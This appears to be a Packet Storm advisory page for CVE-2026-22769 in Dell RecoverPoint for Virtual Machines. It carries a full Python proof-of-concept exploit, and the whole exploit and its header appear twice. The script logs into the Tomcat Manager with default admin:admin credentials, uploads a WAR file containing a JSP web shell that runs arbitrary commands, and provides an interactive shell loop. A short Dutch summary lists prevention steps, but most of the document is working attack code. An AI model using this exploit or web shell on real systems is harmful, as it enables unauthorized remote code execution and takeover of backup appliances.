10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
This proof of concept leverage Tomcat manager credentials to upload and execute a malicious WAR file containing a JSP web shell on Dell RecoverPoint appliances...
Basic Information
ID
PACKETSTORM:215955
Published
Feb 20, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Dell RecoverPoint for Virtual Machines RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.dell.com/en-us/lp/dt/data-protection-suite-recoverpoint-for-virtual-machines |
=============================================================================================================================================
[+] Summary : PoC exploiteert standaard Tomcat Manager credentials (admin:admin) om een kwaadaardig WAR-bestand met een JSP-webshell te uploaden en uitvoeren op Dell RecoverPoint-appliances.
Dit kan leiden tot volledige remote code execution (RCE) en ongeautoriseerde toegang tot systeem- en applicatiegegevens.
Preventie omvat het verwijderen van standaardaccounts, beperken van Tomcat Manager-toegang, sterke wachtwoorden en monitoring van deployment logs.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import base64
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Default credentials found in /home/kos/tomcat9/tomcat-users.xml
DEFAULT_USERNAME = "admin"
DEFAULT_PASSWORD = "admin" # or whatever the hardcoded default is - adjust based on actual discovery
JSP_WEBSHELL = '''
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
'''
def create_malicious_war(war_name="shell.war", shell_name="shell.jsp"):
"""
Creates a simple WAR file containing a JSP webshell
"""
import tempfile
import os
import zipfile
import uuid
temp_dir = tempfile.mkdtemp()
war_path = os.path.join(temp_dir, war_name)
web_inf = os.path.join(temp_dir, "WEB-INF")
os.makedirs(web_inf, exist_ok=True)
web_xml = os.path.join(web_inf, "web.xml")
with open(web_xml, 'w') as f:
f.write('''<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">
<display-name>Malicious</display-name>
<welcome-file-list>
<welcome-file>shell.jsp</welcome-file>
</welcome-file-list>
</web-app>''')
jsp_path = os.path.join(temp_dir, shell_name)
with open(jsp_path, 'w') as f:
f.write(JSP_WEBSHELL)
with zipfile.ZipFile(war_path, 'w', zipfile.ZIP_DEFLATED) as war:
war.write(web_xml, arcname="WEB-INF/web.xml")
war.write(jsp_path, arcname=shell_name)
return war_path
def exploit(target_url, war_file, deploy_path="/shell"):
"""
Exploit the vulnerability by uploading and deploying malicious WAR
"""
print(f"[*] Targeting: {target_url}")
print(f"[*] Using default credentials: {DEFAULT_USERNAME}:{DEFAULT_PASSWORD}")
session = requests.Session()
session.auth = (DEFAULT_USERNAME, DEFAULT_PASSWORD)
session.verify = False
try:
status_url = f"{target_url}/manager/status"
r = session.get(status_url, timeout=10)
if r.status_code == 200:
print("[+] Authentication successful! Default credentials work.")
elif r.status_code == 401:
print("[-] Authentication failed. Default credentials rejected.")
return False
else:
print(f"[?] Unexpected response code: {r.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
print(f"[*] Uploading malicious WAR to {deploy_path}")
deploy_url = f"{target_url}/manager/text/deploy"
with open(war_file, 'rb') as f:
war_content = f.read()
files = {
'file': (war_file, war_content, 'application/octet-stream')
}
params = {
'path': deploy_path,
'update': 'true'
}
try:
r = session.put(deploy_url, params=params, files=files, timeout=30)
if r.status_code == 200:
print(f"[+] WAR deployed successfully to {deploy_path}")
print(f"[+] Web shell available at: {target_url}{deploy_path}/shell.jsp")
print("[*] Example command: curl -k '{}{}/shell.jsp?cmd=id'".format(
target_url, deploy_path))
return True
else:
print(f"[-] Deployment failed. Response code: {r.status_code}")
print(f"[-] Response body: {r.text[:200]}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error during deployment: {e}")
return False
def interactive_shell(target_url, shell_path):
"""
Simple interactive shell via the uploaded JSP webshell
"""
print("[*] Entering interactive shell (type 'exit' to quit)")
while True:
cmd = input("$> ")
if cmd.lower() == 'exit':
break
params = {'cmd': cmd}
try:
r = requests.get(f"{target_url}{shell_path}", params=params,
verify=False, timeout=10)
if r.status_code == 200:
print(r.text.strip())
else:
print(f"[-] Command failed: HTTP {r.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
def main():
parser = argparse.ArgumentParser(description='CVE-2026-22769 PoC Exploit By indoushka')
parser.add_argument('target', help='Target URL (e.g., https://192.168.1.100:8443)')
parser.add_argument('--deploy-path', default='/shell',
help='Deployment path for WAR (default: /shell)')
parser.add_argument('--interactive', '-i', action='store_true',
help='Launch interactive shell after exploitation')
args = parser.parse_args()
print("=== CVE-2026-22769 Dell RecoverPoint RCE PoC By indoushka ===")
print("Based on Mandiant/GTIG research\n")
print("[*] Creating malicious WAR payload...")
war_file = create_malicious_war()
print(f"[+] WAR created: {war_file}")
if exploit(args.target, war_file, args.deploy_path):
print("\n[+] Exploit successful!")
if args.interactive:
shell_url = f"{args.target}{args.deploy_path}/shell.jsp"
interactive_shell(args.target, f"{args.deploy_path}/shell.jsp")
else:
print("\n[-] Exploit failed.")
print("\n[*] Note: The created WAR file remains on the target")
print("[*] Location: /var/lib/tomcat9")
if __name__ == "__main__":
main()
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================
| # Title : Dell RecoverPoint for Virtual Machines RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.dell.com/en-us/lp/dt/data-protection-suite-recoverpoint-for-virtual-machines |
=============================================================================================================================================
[+] Summary : PoC exploiteert standaard Tomcat Manager credentials (admin:admin) om een kwaadaardig WAR-bestand met een JSP-webshell te uploaden en uitvoeren op Dell RecoverPoint-appliances.
Dit kan leiden tot volledige remote code execution (RCE) en ongeautoriseerde toegang tot systeem- en applicatiegegevens.
Preventie omvat het verwijderen van standaardaccounts, beperken van Tomcat Manager-toegang, sterke wachtwoorden en monitoring van deployment logs.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import base64
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Default credentials found in /home/kos/tomcat9/tomcat-users.xml
DEFAULT_USERNAME = "admin"
DEFAULT_PASSWORD = "admin" # or whatever the hardcoded default is - adjust based on actual discovery
JSP_WEBSHELL = '''
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
'''
def create_malicious_war(war_name="shell.war", shell_name="shell.jsp"):
"""
Creates a simple WAR file containing a JSP webshell
"""
import tempfile
import os
import zipfile
import uuid
temp_dir = tempfile.mkdtemp()
war_path = os.path.join(temp_dir, war_name)
web_inf = os.path.join(temp_dir, "WEB-INF")
os.makedirs(web_inf, exist_ok=True)
web_xml = os.path.join(web_inf, "web.xml")
with open(web_xml, 'w') as f:
f.write('''<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">
<display-name>Malicious</display-name>
<welcome-file-list>
<welcome-file>shell.jsp</welcome-file>
</welcome-file-list>
</web-app>''')
jsp_path = os.path.join(temp_dir, shell_name)
with open(jsp_path, 'w') as f:
f.write(JSP_WEBSHELL)
with zipfile.ZipFile(war_path, 'w', zipfile.ZIP_DEFLATED) as war:
war.write(web_xml, arcname="WEB-INF/web.xml")
war.write(jsp_path, arcname=shell_name)
return war_path
def exploit(target_url, war_file, deploy_path="/shell"):
"""
Exploit the vulnerability by uploading and deploying malicious WAR
"""
print(f"[*] Targeting: {target_url}")
print(f"[*] Using default credentials: {DEFAULT_USERNAME}:{DEFAULT_PASSWORD}")
session = requests.Session()
session.auth = (DEFAULT_USERNAME, DEFAULT_PASSWORD)
session.verify = False
try:
status_url = f"{target_url}/manager/status"
r = session.get(status_url, timeout=10)
if r.status_code == 200:
print("[+] Authentication successful! Default credentials work.")
elif r.status_code == 401:
print("[-] Authentication failed. Default credentials rejected.")
return False
else:
print(f"[?] Unexpected response code: {r.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
print(f"[*] Uploading malicious WAR to {deploy_path}")
deploy_url = f"{target_url}/manager/text/deploy"
with open(war_file, 'rb') as f:
war_content = f.read()
files = {
'file': (war_file, war_content, 'application/octet-stream')
}
params = {
'path': deploy_path,
'update': 'true'
}
try:
r = session.put(deploy_url, params=params, files=files, timeout=30)
if r.status_code == 200:
print(f"[+] WAR deployed successfully to {deploy_path}")
print(f"[+] Web shell available at: {target_url}{deploy_path}/shell.jsp")
print("[*] Example command: curl -k '{}{}/shell.jsp?cmd=id'".format(
target_url, deploy_path))
return True
else:
print(f"[-] Deployment failed. Response code: {r.status_code}")
print(f"[-] Response body: {r.text[:200]}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error during deployment: {e}")
return False
def interactive_shell(target_url, shell_path):
"""
Simple interactive shell via the uploaded JSP webshell
"""
print("[*] Entering interactive shell (type 'exit' to quit)")
while True:
cmd = input("$> ")
if cmd.lower() == 'exit':
break
params = {'cmd': cmd}
try:
r = requests.get(f"{target_url}{shell_path}", params=params,
verify=False, timeout=10)
if r.status_code == 200:
print(r.text.strip())
else:
print(f"[-] Command failed: HTTP {r.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
def main():
parser = argparse.ArgumentParser(description='CVE-2026-22769 PoC Exploit By indoushka')
parser.add_argument('target', help='Target URL (e.g., https://192.168.1.100:8443)')
parser.add_argument('--deploy-path', default='/shell',
help='Deployment path for WAR (default: /shell)')
parser.add_argument('--interactive', '-i', action='store_true',
help='Launch interactive shell after exploitation')
args = parser.parse_args()
print("=== CVE-2026-22769 Dell RecoverPoint RCE PoC By indoushka ===")
print("Based on Mandiant/GTIG research\n")
print("[*] Creating malicious WAR payload...")
war_file = create_malicious_war()
print(f"[+] WAR created: {war_file}")
if exploit(args.target, war_file, args.deploy_path):
print("\n[+] Exploit successful!")
if args.interactive:
shell_url = f"{args.target}{args.deploy_path}/shell.jsp"
interactive_shell(args.target, f"{args.deploy_path}/shell.jsp")
else:
print("\n[-] Exploit failed.")
print("\n[*] Note: The created WAR file remains on the target")
print("[*] Location: /var/lib/tomcat9")
if __name__ == "__main__":
main()
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================